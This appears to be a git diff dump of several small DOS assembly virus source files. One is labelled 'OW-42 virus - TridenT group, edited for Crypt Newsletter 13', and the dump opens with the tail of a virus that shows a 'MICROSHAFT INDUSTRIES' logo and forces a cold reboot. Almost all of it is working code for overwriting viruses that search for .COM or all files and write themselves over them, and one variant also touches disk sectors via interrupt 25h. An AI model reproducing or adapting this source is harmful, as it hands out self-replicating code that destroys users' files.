jmp onwardbuttheads ; go on
whyisthishere:
cmp al,4Ah ; why is this here?
jne removeregistersandleave
removeregistersandleave:
pop ds ; remove registers
pop bx
pop ax
; jmp returntoold9 ; more wierd
db 0e9h, 20h, 00 ; encoding!
onwardbuttheads:
push cs ; ds = cs
pop ds
mov ax,3 ; 80x25 text mode
int 10h
mov ah,2 ; set cpos
mov bh,0
mov dx,0A14h ; 10,20
int 10h
mov si,yamlogo-our9 ; point to logo
pointlessloop:
loop pointlessloop
lodsb ; load string byte
cmp al,0 ; end of string?
je coldbootus ; yes
mov ah,0Eh ; display char in al
int 10h
jmp short pointlessloop
returntoold9:
old9 db 0EAh ; JMP FAR PTR
dd 00000000 ; Int 9h
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
db ' ',0
coldbootus:
mov dx,28h
mov ds,dx ; DS = 0028h
mov word ptr ds:[0072h],0 ; DS:0072h=0
; the above does nothing, as the byte they are looking to modify is
; the warm-boot status byte, at 0040:0072h... duh...
db 0EAh ; JMP FAR PTR
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
file db '*.COM',0 ; search wildcard
first3 db 0CDh, 20h, 00h ; buffered 1st 3
jump db 0E9h ; jmp near
fsize2 db 50h, 01h
lob db 56h ; lob of fsize+3
fsize db 53h, 01h ; filesize
heap:
end start

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,28 @@
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc On2
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Ah
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On1
FileSpec Db '*.com',0
Db 'Trident'
On2: Mov Ah,2ch
Int 21h
Cmp Dl,10
Ja Ende
Mov Al,2
Xor Dx,Dx
Int 25h
Ende: Ret
Length Equ $-Main

View File

@ -0,0 +1,20 @@
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc Ende
Mov Ax,3d01h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Length
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On1
FileSpec Db '*.com',0
Ende: Ret
Length Equ $-Main

View File

@ -0,0 +1,19 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov bh,40h
Mov Cl,Length
Lea Dx,Main
Xchg Ax,Bx
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On2
On1: Ret
FileSpec Db '*.COM',0
Length Equ $-Main

View File

@ -0,0 +1,17 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ah,3dh
inc ax
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
Mov Ah,4fh
On1: Jmp On2
FileSpec Db '*.COM',0
Length Equ $-Main

View File

@ -0,0 +1,14 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
On1: Ret
FileSpec Db '*.*',0
Length Equ $-Main

View File

@ -0,0 +1,13 @@
Main: Lea Dx,FileSpec
Mov Ah,4eh
Int 21h
Mov Dx,9eh
Mov Ah,3ch
Int 21h
Lea Dx,Main
Mov Bh,40h
Mov Cl,Length
Xchg Ax,Bx
Int 21h
FileSpec Db '*.*',0
Length Equ $-Main

View File

@ -0,0 +1,13 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
FileSpec Db '*.*',0
Length Equ $-Main

View File

@ -0,0 +1,13 @@
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
On2: Int 21h
Mov Dl,Length
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main

View File

@ -0,0 +1,39 @@
;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
;
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
org 0100h
start: mov ah,4Eh ; find first file
recurse:
mov dx,0123h ; matching filemask, "*.*"
int 21h
db 72h,20h ;hand-coded jump on carry to
;exit if no more files found
mov ax,3D01h
mov dx,009Eh
int 21h
mov bh,40h
mov dx,0100h ;starting from beginning
xchg ax,bx ;put handle in ax
mov cl,2Ah ;to write: 42 bytes of virus
int 21h ;write the virus
mov ah,3Eh ;close the file
int 21h
mov ah,4Fh ;find next file
jmp Short recurse
db "*.COM" ;file_mask
dw 0C300h ;hand-coded return
CODE ENDS
END START